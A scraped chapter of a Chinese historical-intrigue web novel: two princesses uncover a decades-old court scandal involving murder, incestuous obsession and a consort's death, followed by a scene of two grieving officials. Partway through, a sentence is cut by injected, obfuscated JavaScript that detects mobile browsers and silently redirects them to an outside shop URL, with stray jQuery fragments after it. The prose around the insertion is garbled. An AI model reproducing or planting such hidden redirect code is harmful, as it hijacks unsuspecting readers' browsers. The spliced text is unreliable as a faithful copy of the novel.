48. 第四十八章 难诉情(二)
作品:《砌下落梅如雪乱》 她在路上就遇见了沈碧的马车。
“你要去哪儿!”
沈碧不由分说就拉她上了马车,“陛下回宫,你二哥的灵柩还在城外,你现在要往哪里去!”
沈磐从未见她露出这样气急严肃的神态。
似是猜到沈磐心中的疑惑,沈碧终于又翻出了过去的平淡语气,冷冷道:“今时不同往日,若你不珍惜自己的性命,便没有人能救得了你。你现在就跟我一起去宁远门。”
“既如此,为何不去宫里到他面前摇尾乞怜。”
沈碧并不理睬她话中赤裸裸的讥讽,吩咐马车往宁远门走。
其实沈磐并不想这么说话让气氛再度落地的,只是和沈碧吵架拌嘴,仿佛已经成为了骨子里的习性。
她看着沈碧。
不过几日,她好像就瘦了一圈。
沈磐终究没有再多说什么,只斟酌了词句问道:“侯府怎么样了?”
“就那样。”
车厢内安静了会儿,沈碧才重新说道:“郇渊一个人骑马逃到平川庄,现在已经去苏州了,他祖母又病了场,就等他祖父从宫里回来。”
“郇昇的尸体找到了吗?”
沈碧微一垂眸,“府里也没什么人,等雪化了才能去找。”
于是,偌大一个襄阳侯府就只剩下她的驸马郇渰没有被沈磐提起。
不提也好。
沈磐稍稍犹豫,最后还是问道:“那天你提到霍夫人,究竟想说什么?”
沈碧自然知道那天是哪天。
郇渰死的那天。
她淡淡道:“你不是不想听吗。”
“现在想听。”
她垂下眼睫,不知遮去了眼底怎样的情绪。沈磐刚有些愧疚,愧疚自己还是让她想起了伤心往事,就听她问:“这是什么?”
沈碧拿起她放在座椅上的卷轴。
“一幅画。”
沈碧刚要展开卷轴就听见了沈磐语气中的哀沉,不知想到了什么,便将卷轴原封不动地放下。
沈磐讶异她的举动,更讶异于她接下来的一句话:“画的是辅国长公主吧。”
“你怎么知道?”
沈碧抬手,轻嗅自己的指尖,“这味道还没散。”
沈磐一把握住她的手,“子规草?”
沈碧盯着她,“是洛阳子规草。”
沈磐从袖中取出那片枯叶。
“嗯,就是这个。”
“有什么区别?究竟发生了什么?你怎么都知道?”
沈碧死水无澜的眼中终于漾起了波纹,“只有你不知道而已。”
沈磐蓦然瞪大眼睛。
“不对,沈斫也不知道。”沈碧摇头,嘴角的幅度既自嘲又冷酷,“知道得太多,不是件好事。”
然后她就看见,沈磐的怨愤、不甘、震撼、厌恶、妒恨、恐惧、兴奋这些沈碧再熟悉不过的情绪在她的眼睛——这盏走马灯上次第呈现。
“你心里的猜测,几乎都是对的。有想不明白的细节,可以问——”
沈磐一把按住她的肩,嗓音喑哑:“我要知道来龙去脉!这些年这些人究竟发生了什么事!”
沈碧默默望着她眼角那滴好像是帘外的反光的眼泪。
“这是个很长的故事……”
“三十年前?”
陈述的口吻说着疑问的猜测。
沈碧摇头,“旧因埋下的那天,早在三十年前,但一颗烂果落地,就是三十年前的升平二十九年。”
“那天,大理寺寺丞骆栩的女儿骆霞在曲江游玩。”
沈磐窒息。
一切居然就始于林丛小溪的这桩悬案。
“骆姑娘浑身没有其他伤痕,只有双眼被人剜去。”
沈磐几乎难以想象这样的痛苦,分明她才毫无人性地命令长缨卫挖去了霍开武的眼睛。
“为什么。”
霍开武该死,她犹且恨自己那么便宜地叫他死去,可这个名叫骆霞的姑娘究竟是得罪了什么人才招此对待?是,她从不信什么鬼怪作祟的说法,如果世上真有鬼神,老天怎么不开开眼降个雷劈死那些作恶多端又富贵延年的小人!
沈碧冷冷道:“不用问为什么,你只需要知道第一个发现她尸体的人是谁就好。”
“是谁?”
沈磐的声音在抖。
她又有了猜测。
沈碧目光深远,“就是我们的父皇,当年的晋王沈明戒。”
“咯噔——”
马车一颠,沈磐的视线都模糊起来。
“当年,化隆城里就有传闻,说晋王对从小陪伴他长大的亲姐姐兖国公主,有不伦之念。而这位骆姑娘,之所以被剜去了双眼,就是因为她的这双眼睛,和兖国公主有几分神似——”
沈磐浑身都抖了起来,她死死攥住沈碧的手,“所以……是兖国公主挖了她的眼睛?!”
沈碧蹙眉,“你怎会这么想?”
她扣住沈磐的手,“晋王第一个发现了尸体,兖国公主的挚友临川郡主那天在游湖,便也赶到了现场,如果真是兖国公主杀了她,临川郡主此后多年的反应根本就不符合情理。况且,这些事情都是临川郡主告诉我的。”
沈磐的理性这才慢慢找到回家的路。
她喃喃自语:“不论如何,晋王对兖国公主有不伦之念……是尽人皆知的丑闻,兖国公主当然也就知道了……或许她以前就知道了呢……反正她知道了,还出了人命,这段姐弟情就彻底没了……”
她看向沈碧:“临川郡主为什么要将这样的阴私之事告诉你?你去问她的?你为什么要问她这些事情……”
沈碧掰开沈磐烙铁般的手,神色更加冷淡:“是,是我去问她的,我那时出嫁不久回宫归省,刚好临川郡主也在京城。”
“你为什么要问她。”
沈碧隐隐听出了责怪意味。但她不问,这些事就不存在了吗?她觉得沈磐还是孩子心性了,掩耳盗铃从来不是正解,但她一刹那又想到了很多事,顿时觉得,她或许真的不该问,这样她们都会有一个完美幸福的人生,哪怕是用谎言造就的。
现实总让人活得太累。
就像那时的霍夫人,年轻貌美、心地善良,她沈碧就算是个再刻薄的姑娘,也有些真心喜欢这个简直就是梦中神女的女人。
可千钧重的现实一压下来,霍夫人再有能耐也扛不住不是么?
“我在襄阳侯府见过她的画像,是郇翾凭着记忆画的,和霍夫人很像。然后我在宫里遇见了临川郡主,我问她,她们究竟像不像,郡主是她的闺中密友,怎么可能不知道她们两个的面容有几分像?但郡主居然从未见过霍夫人……”
沈磐苦笑:“他做贼心虚,怎么会让故人看见霍夫人的长相……”
“是啊——”沈碧口中的讽刺意更浓,但浓至极点,沈磐便尝出了一丝悲凉,“我不敢带郡主去西宫偷看霍夫人,只能把天真无知的霍夫人诓到御花园。陛下从不允许霍夫人抛头露面,连御花园都不许她多去,但她还是来了,因为我借口说我刚刚出嫁,不知如何与夫婿相处,她是个蠢的,还是个热心的,以为我没有亲生母亲的教导,在这种事情上有些疏漏很正常,她以前也没少和我说话……”
沈碧第一次当着沈磐的面,揉了揉她脆弱的太阳穴。
“然后,她自然也就知道了,她竟然和陛下的姐姐长得像,还不是一点像,而是非常像!朦朦胧胧之中,不说话的时候,就可以认为是同一人……她天真,不代表不会有心思,且她好爱她的陛下啊,就想看看自己这天上地下独一份的宠爱究竟是因为她这个人,还是因为旁的缘故。”
沈磐已经能想到,真相曝露的那一刻对于霍夫人这样的女子来说,会是怎样晴空霹雳的末日。
沈碧疲惫极了,“她不能出西宫,但别人可以把宫外的消息带给她,但她连西宫都不能出,她知道的那些消息,呵,大多都是经过她的陛下仔细筛查后的‘真相’。她究竟有没有查到,我不知道,怎么查的,我也不知道,唯一确定的是,她的陛下肯定被惊动了——”
闻言,沈磐模模糊糊好像打通了关节。
沈碧:“后来我回宫,一直称病不出的她偷偷给我送信。”
她脸上露出一种古怪的笑,沈磐端详许久,方才得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082151|192089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到一个惊悚的推测——
沈碧恨她。
“呵——”沈碧看过沈磐脸色就知道这个妹妹在想什么,她便以更加夸张的嘲讽来宣泄她心里的恨,“是啊,我恨她,她难道就不恨我么?恨我带她见了临川郡主,于是美梦破碎,她连爱情都没有了,我却在宫外逍遥自在、夫妻和睦。”
她定然想到了郇渰。
沈磐连忙追问:“信上究竟写了什么?”
沈碧的神情重归平静,“她说,从前她和陛下在一起,情动之时陛下会情不自禁地叫她‘娴儿’,她以为皇后姓陈,小字季娴,这个‘娴儿’就是他的亡妻陈皇后,谁想到,这个‘鹇儿’居然是他的姐姐。”
一瞬。
两瞬。
三瞬。
沈磐死死攥住自己的袖口,忍住自己的恶心。
“她疯了。”沈碧看着虚空,像是在看那一具尸体,“那个夏天她得了风寒,小小风寒,就要了她的命。”
这是旧因结出的第二颗烂果。
车厢里陷入沉默。
沉默总是最难熬的,好在马车驻停,宁远门已到。
但显然,由这棵树结出的又苦又涩的烂果子从来不止两颗。
沈磐头抵窗沿,稍稍将车窗推开条缝,就遥遥得见宁远门外太子的灵柩和一众煊赫的扈从。去时齐天觉的万余兵马皆是索命的恶灵,归来又充作送葬的牌面。
“你说二哥也知道。”
沈碧应了一声,刚要起身下车就被沈磐拉住,“三哥也知道……他的死,和这个有关吗?”
沈碧道:“你没有好好读过《尔雅注疏》,你肯定也不知道‘丘形三重者名昆仑丘’……沈砯走前嘴里一直在念,‘昆仑山三重’。”
**
郇翾是和冉琢明一起离开的御书房。
他们是几十年的旧友,见的第一面就在大摆筵席的襄阳侯府。那时的冉琢明是初出茅庐的新科进士,这冉探花在侯府花园散酒,不慎跌了个大跟头,衣裳都破了,正好被郇翾撞见。然后就有了所谓的“一衣之交”,等多少年后他们各自登顶,这就成了桩美谈。
美谈有了,他们却少了闲谈。
寥寥数日,两个人都苍老不少。现在本是收拾料理和重立山头的重要时机,他们更不该有空闲谈,但两个人就是别有默契,慢吞吞沿着东直门甬道聊了起来。
其实什么也没聊,冉琢明是一句也不能说,郇翾则累得不敢发一言。
眼前又是启明门。
冉琢明道:“节哀。”
郇翾苦笑:“为谁节哀呢?”
他望着启明门上悬在半空的太阳。
“这个年节死了这么多人,要为谁节哀呢?为我大楚吗?”
冉琢明知道他心里既悲愤又绝望,痛苦脱缰之时难免口不择言。
“琢明兄,你知道于我而言世上最黑暗的地方在哪里吗?”
也懒得提防,冉琢明脱口而出:“朝廷。”
郇翾苦笑着摇头。
从少时起,他就有写手记的习惯。那是他畅所欲言的天堂。但有一回他极其私密的手记被妹妹偷看,自此,这处天堂便也落了凡俗。
并不是什么话他都能写进去了。
比如说几十年前,他在上面写:日堕启明,此间至暗。
“就是这启明门。”
冉琢明叹息。
三十年前,他的长兄遇刺命丧于此。所以三十年来,他既不取字也不走启明门。
这处是他的伤痛。
“那你知道这世上,最高的山是什么吗?”
冉琢明心里早将自己的答案过了十万八千遍,但他还是摇头。
郇翾指着北方,长袖猎猎生风,“昆仑山三重。”
天地同寿、日月同光之所在,仙班齐列、鸾凤呈祥之所在。
冉琢明目送他颓丧地走出启明门。
因为有光,所以启明至暗,他不愿再走。但如果他就活在黑暗里呢?启明门和别的什么承天门、东长安门也就再无区别。
郇翾步步艰难。
启明至晦,昆仑易摧,一夕亡二子。

